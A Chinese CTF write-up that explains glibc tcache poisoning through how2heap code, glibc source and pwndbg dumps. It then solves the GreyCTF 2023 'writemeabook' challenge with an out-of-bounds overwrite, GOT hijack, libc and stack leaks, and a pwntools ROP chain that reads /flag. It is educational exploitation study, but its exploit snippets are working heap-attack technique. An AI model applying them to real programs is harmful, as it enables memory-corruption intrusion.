Tcache(Thread Cache)是 glibc(GNU C Library)从 2.26 版本开始引入的一个特性,旨在提升内存分配性能。在 tcache 中,每个线程都有自己的缓存,可以减少线程间的互斥和锁的竞争。
默认情况下,大小小于等于 1032(0x408)字节的 chunk 会被放入 tcache 中。
分配释放:当程序进行 malloc 操作时,会优先检查 tcache 是否有可用的 chunk,如果有,就直接返回。同样,当进行 free 操作时,如果 chunk 的大小符合要求,并且对应的 tcache bin 还未满(默认每个 bin 可以存放 7 个 chunk),就会把 chunk 放入 tcache。否则,会按照原来的流程,放入 unsorted bin 或者其他的 bin 中。
数据结构:Tcache 的数据结构主要是一个数组,每个元素都是一个单向链表的头节点。数组的下标对应了 chunk 的大小,即第 i 个元素对应了大小为 (i+1)*16
的 chunk 的链表。链表中的每个节点都是一个空闲的 chunk,节点的第一个字段存放了指向下一个节点的指针。
tcache在内存中的数据结构示意图如下:
+----+ +------+ +------+ | 0 | -> | chunk| --> | chunk| --> NULL +----+ +------+ +------+ | 1 | -> NULL +----+ | 2 | -> | chunk| --> NULL +----+ +------+ | .. | +----+ | n | -> | chunk| --> | chunk| --> | chunk| --> NULL +----+ +------+ +------+ +------+
我们先来看看缓存投毒的基本攻击思路,核心代码如下:
size_t stack_var; // 目标投毒的地址 intptr_t *a = malloc(128); // addr: 0x5555555592a0 intptr_t *b = malloc(128); // addr: 0x555555559330 free(a); free(b); b[0] = (intptr_t)&stack_var; // tcache poisoning ! intptr_t *c = malloc(128); assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权
然后我们来分过程看每一个环节的堆内存布局变化
intptr_t *a = malloc(128); // addr: 0x5555555592a0 intptr_t *b = malloc(128); // addr: 0x555555559330 free(a); free(b);
查看此时的堆内存布局
tcache链表有点像一个栈,遵循LIFO的原则
pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 后面解释tcache_entry结构体
tcache
通过链表维护起来。修改指针指向(后面会分析),使得tcache链表的指针指向栈上的地址size_t stack_var; // addr: 0x7fffffffe508 b[0] = (intptr_t)&stack_var;
此时我们观察到 tcache_entry[7]
的指向
pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )
此时的tcache已经被
pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
tcache
的指向已经发生了变化,导致我们可以获得一次针对栈上的地址进行读写的机会若要细究其原理,得从glibc中对应的源码入手:
tache的数据结构如下:
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct *tcache = NULL;
tcache_entry
结构体本质上是一个单链表指针,tcache_perthread_struct
存储了所有的 tcache
入口,通过 counts
记录每个 tcache
链的个数
tcache poisoning
漏洞涉及到两个函数:
tcache_get
tcache_entry
表项tcache_put
tcache_entry
结构tcache_entry
表项中static void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); // 对应的tcache数量减少1 return (void *) e; }
static void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunk tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
重点是这行代码:
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
chunk2mem
的宏是这样的,即将chunk指针往后移动指向用户数据区域
/* Convert a chunk address to a user mem pointer without correcting the tag. */ #define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
而关键在于, 代码中直接强制转化,将其转为 tcache_entry
结构,这代表着,用户数据的前8个字节(64位)存储了 tcache
的 next 指针
这就意味着我们可以直接修改 next 指针,从而获得任意地址写的机会,因此 tcache
的利用相比 fastbin
事实上更加简单了
题目源码和 exp 可以在这里找到 https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook
main函数主要功能:
secure_library
设置 seccomp
write_book
程序主要功能int __cdecl main(int argc, const char **argv, const char **envp) { setup(argc, argv, envp); puts("Welcome to the library of hopes and dreams!"); puts("\nWe heard about your journey..."); puts("and we want you to share about your experiences!"); puts("\nWhat would you like your author signature to be?"); printf("> "); LODWORD(author_signature) = ' yb'; __isoc99_scanf("%12s", (char *)&author_signature + 3); puts("\nGreat! We would like you to write no more than 10 books :)"); puts("Please feel at home."); secure_library(); write_books(); return puts("Goodbye!"); }
write_books
write_books
函数,功能总结为:
unsigned __int64 write_books() { int choice; // [rsp+0h] [rbp-10h] BYREF int fav_num; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { print_menu(); __isoc99_scanf("%d", &choice); getchar(); if ( choice != 1337 ) break; if ( !secret_msg ) { printf("What is your favourite number? "); __isoc99_scanf("%d", &fav_num); if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] ) printf("You found a secret message: %p\n", slot[2 * fav_num - 2]); secret_msg = 1; } LABEL_19: puts("Invalid choice."); } if ( choice > 1337 ) goto LABEL_19; if ( choice == 4 ) return v3 - __readfsqword(0x28u); if ( choice > 4 ) goto LABEL_19; switch ( choice ) { case 3: throw_book(); break; case 1: write_book(); break; case 2: rewrite_book(); break; default: goto LABEL_19; } } }
write_book
向书架中插入一本书,并且在书的尾部,写上作者签名和一个 magic number
可以看到一个书chunk的大小为输入的内容 + 0x10,并且会存储在 book 结构体中的size字段
unsigned __int64 write_book() { int idx2; // ebx _QWORD *v1; // rcx __int64 v2; // rdx int idx; // [rsp+4h] [rbp-4Ch] BYREF size_t size; // [rsp+8h] [rbp-48h] char buf[32]; // [rsp+10h] [rbp-40h] BYREF char v7; // [rsp+30h] [rbp-20h] unsigned __int64 v8; // [rsp+38h] [rbp-18h] v8 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to insert your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] ) { puts("Invaid slot!"); } else { --idx; // 书架的编号 memset(buf, 0, sizeof(buf)); v7 = 0; puts("Write me a book no more than 32 characters long!"); size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节 idx2 = idx; slot[2 * idx2] = malloc(size); memcpy(slot[2 * idx], buf, size - 0x10); v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部 v2 = qword_4040D8; *v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic number v1[1] = v2; books[idx].size = size; // 这里存在问题,后续通过 books[idx].size 获取大小的时候要减掉0x10 puts("Your book has been published!\n"); } return v8 - __readfsqword(0x28u); }
rewrite_book
漏洞点编辑一本书,但是注意到这里能够输入的内容为 books[idx].size
,而这就意味着我们可以多输入 0x10 的内容(oob,即out-of-bounds)来实现 chunk overlap(因为上文分析道用户数据的长度事实上只有 books[idx].size - 0x10
unsigned __int64 rewrite_book() { _QWORD *v0; // rcx __int64 v1; // rdx int idx; // [rsp+Ch] [rbp-14h] BYREF ssize_t v4; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to rewrite your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] ) { --idx; puts("Write me the new contents of your book that is no longer than what it was before."); v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中 v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4); v1 = qword_4040D8; *v0 = author_signature; v0[1] = v1; puts("Your book has been rewritten!\n"); } else { puts("Invaid slot!"); } return v5 - __readfsqword(0x28u); }
throw_book
删除一本书,调用 free
函数
unsigned __int64 throw_book() { int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to throw your book?"); printf("Index: "); __isoc99_scanf("%d", &v1); getchar(); if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] ) { free(slot[2 * --v1]); slot[2 * v1] = 0LL; puts("Your book has been thrown!\n"); } else { puts("Invaid slot!"); } return v2 - __readfsqword(0x28u);
题目存在很明显的漏洞点,即利用oob可以实现overlap
tcache poisoning
来计算下我们要怎么做到 tcache poisioning
连续申请4个chunk,4个chunk的目的分别为:
tcache poisoning
books结构体的地址是固定的,地址为 0x4040e0
,每个 book 结构体前 0x8 个字节存储这本书的 size ,另外 0x8 字节存储这本书在 chunk 地址
当我们获得任意地址写的时候,就可以针对 0x4040e0
这个堆块去写入内容,再利用 rewrite_book
来实现劫持got表泄露 libc base addr
我们写入的内容为:
edit(1, pwn.flat([ # 1== 0xff, # sz exe.sym.stdout, # target # 2== 0x8, # sz exe.got.free, # target # 3== 0x8, # sz exe.sym.secret_msg, # target # 4== 0xff, # sz exe.sym.books # target ] + [0] * 0x60, filler = b"\x00"))
观察内存布局:
pwndbg> x/40gx 0x4040e0 0x4040e0 <books>: 0x00000000000000ff 0x00000000004040a0 0x4040f0 <books+16>: 0x0000000000000008 0x0000000000404018 0x404100 <books+32>: 0x0000000000000008 0x00000000004040c0 0x404110 <books+48>: 0x00000000000000ff 0x00000000004040e0 0x404120 <books+64>: 0x0000000000000000 0x0000000000000000 0x404130 <books+80>: 0x0000000000000000 0x0000000000000000 0x404140 <books+96>: 0x0000000000000000 0x0000000000000000 0x404150 <books+112>: 0x0000000000000000 0x0000000000000000 0x404160 <books+128>: 0x0000000000000000 0x0000000000000000 0x404170 <books+144>: 0x0000000000000000 0x0000000000000000
此时我们就可以理解为
0x4040a0
(实际上这个为 stdout 的got表) size 为 0xff
0x404018
(实际上这个为 free 的got表) size 为 0xff
0x4040c0
(实际上为 secret_msg
的地址),size 为 0x8
0x4040e0
(实际上我 sym.books
的地址,方便我们二次写入,size 为 0xff
于是可以劫持free的got表来实现打印 [email protected]
表项,再通过确定的偏移泄露出 libc base addr
程序有 seccomp
保护,只允许 read
、 write
、 open
和 exit
于是我们需要通过向栈上写入ROP的方式来读flag,首先计算栈帧
泄露环境变量地址来计算栈帧(注意第4本书我们之前设置了指向自身,因此可以反复编辑)
# leak stack (environ) edit(4, pwn.flat([ # 1== 0xff, # sz libc.sym.environ # target ], filler = b"\x00"))
栈帧地址:也就是调用这个函数返回的ret地址
获得栈帧地址后,使用 pwntools
自带的 rop 模块来实现
rop = pwn.ROP(libc, base=stackframe_rewrite) # setup the write to the rewrite stackframe edit(4, pwn.flat([ # 1== 0xff, # sz stackframe_rewrite # target ], filler = b"\x00")) # ROPchain rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open rop.call(rop.find_gadget(["syscall", "ret"])) rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ... rop.call(rop.find_gadget(["syscall", "ret"])) rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write rop.call(rop.find_gadget(["syscall", "ret"])) rop.exit(0x1337) rop.raw(b"/flag\x00")
由于堆内存布局的原因,地址可能不一样,这里记录某次调试过程:
Book的结构如下:
4个chunk的布局
# chunk2 => sz extended edit(1, b"K"*0x20)
此时的chunk2大小已经被修改了
此时 tcache3
的 next 指针已经被修改了
利用 tcache poisioning
修改 books 的结构,布局如下,至此 tcache poisoning
的利用就完成了
how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub